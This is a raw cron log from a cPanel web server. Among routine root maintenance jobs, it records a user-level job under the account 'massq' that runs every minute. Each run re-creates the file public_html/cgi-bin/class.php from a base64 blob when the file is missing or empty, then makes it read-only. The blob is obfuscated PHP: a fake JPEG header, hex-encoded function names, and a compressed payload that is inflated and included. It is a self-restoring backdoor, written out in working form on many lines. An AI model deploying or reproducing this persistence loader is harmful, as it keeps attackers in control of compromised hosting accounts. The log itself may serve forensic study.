Nov  9 04:08:01 server CROND[7001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:09:01 server CROND[7823]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 04:09:01 server CROND[7825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:10:01 server CROND[8747]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 04:10:01 server CROND[8748]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:10:01 server CROND[8750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:10:02 server CROND[8755]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:11:01 server CROND[9708]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:12:01 server CROND[10543]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 04:12:01 server CROND[10545]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:13:01 server CROND[11361]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:14:01 server CROND[12188]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:15:01 server CROND[12994]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:15:01 server CROND[12997]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:15:01 server CROND[12999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:15:01 server CROND[13000]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:16:01 server CROND[13874]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:17:01 server CROND[14689]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:18:01 server CROND[15593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:19:01 server CROND[16428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:20:01 server CROND[17245]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 04:20:01 server CROND[17249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 04:20:01 server CROND[17250]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 04:20:01 server CROND[17251]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 04:20:01 server CROND[17252]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
